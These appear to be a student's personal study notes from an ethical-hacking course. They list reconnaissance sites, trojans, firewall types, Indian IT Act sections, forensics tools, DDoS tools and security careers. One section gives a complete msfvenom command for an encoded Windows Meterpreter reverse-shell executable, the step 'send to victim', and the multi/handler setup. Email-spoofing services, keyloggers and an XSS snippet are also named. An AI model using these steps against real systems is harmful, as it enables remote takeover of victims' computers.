Hackers Methodology

1. Reconnaissance.
   1. Gather info
2. Finding vulnerabilities, bugs and exploits
3. Gaining access remotely
4. Maintaining access
   1. trojan
5. Covering tracks

Vulnerability assessment

Websites

pipl.com :shows basic info of people.

netcraft.com info about websites.

exploit-db.com

certifiedhacker.com

Httracker.com to get site offline

Whois.domaintolls.com

Foca used for getting various files from web.

Archive.org (wayback machine) how did a website looked in the past

Rot13.com encryption decryption stuff

Hackerone - for bugbounty

Bugcrowd - for bugbounty

Hackernews - news about hacking

Virustotal.com

Ciacybersolutions.com - join this

Tools

Wireshark is a network protocol analyser.

Footprinting through social engg

Dumpster diving

Eavesdropping

Impersonation

Network scanning refers to a set of procedures for identifying hosts ports and services in a network.

HTTP rat acts as a trojan

RAT stands for remote access trojan

When target clicks on file we get remote access.

MOsucker:- trojan

DES data encryption standard

SHA secured hashing algorithm

Hash calc is used to check integrity with help of hash functions

X509 certificate is a structure of digital certificate.

Comodo gives the certificates

GNUPG can make you a certificate

Quick stego Application:- used for steganography.

+

Metasploit is used to find exploit

Ruby and python are used to build an exploit.

Commands for metasploit

Msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata\_ga\_nai -a x86 -f exe LHOST=ipof receiver LPORT=4444 x > file2.exe

After creation file would be generated in root directory

Copy and send to victim

Step2 start metasploit

Msfconsole

Step3: start explot for reverse connectn

Use mult/handler

Step4 set payload for windows hacking

Set payload windows/meterpreter/reverse\_tcp

Step5 set the ip of the host machine in payload creation

Set LHOST myip

-exploit

KEYLOGGER

Fklogger

Ownspy.com for android

USB dumper

Spybot anti-beacon

Types of firewalls

Packet filtering firewall moitors packets

Application level gateway can filter packets at the application layer of OSI model

Circuit level gateway circuit level gateway works at the session layer of the OSI model.

Making firewall fit

IP address

Domain names

Protocols

Ports

Pentbox 1.8

Emkei.cz email spoofing

Smtp2go.com email spoofing

Cross site scripting:-

Javascript

<script>alert(you are gonna die)</script>

SQL injections

Sql magic strings

Canarytokens.org

**IT ACTS**

**Section 43**

Unauthorised access

Downloading copying extracting information

Introducing viruses

Damaging a comp

Disruption of a computer

Denial of access

Assisting in illegal access

Tampering or manipulating computer

Section 43A

Holds a corporate responsible for the information possessed dealt with or handled by them

Section 65- source code

Section 66- computer related offenses

Covers destruction, deletion, alteration, diminishing,etc

**Data Recovery Tools**

Recuva - free

Stellar Phoenix data recovery - paid

Mcase - paid

**Data Sanitisation**

Disk wipe - free

**Laptop forensic tools**

Nirsoft (Nirlauncher)

**Categories of ddos**

Volumetric attacks

Fragmentation attacks

TCP state-Exhausion attacks

Application layer attacks

**DDOS and DOS attack tools**

HOIC

LOIC

Kali Linux

Hping3

**Security audits**

Belarc advisor

**Careers in cyber security**

Certified Ethical Hacker

Exam cost 35-40k

After completing exam and applying for different jobs as:

Security analyst L1

Security analyst L2

Penetration tester

ESCA, LPT, CHFI

Security consultant

OSCP

Security Auditor

ISO 27001, CISA,CISO

MEET TILVA

Contact: 9429577900 after 7:00 pm

EMAIL: meettilva77@gmail.com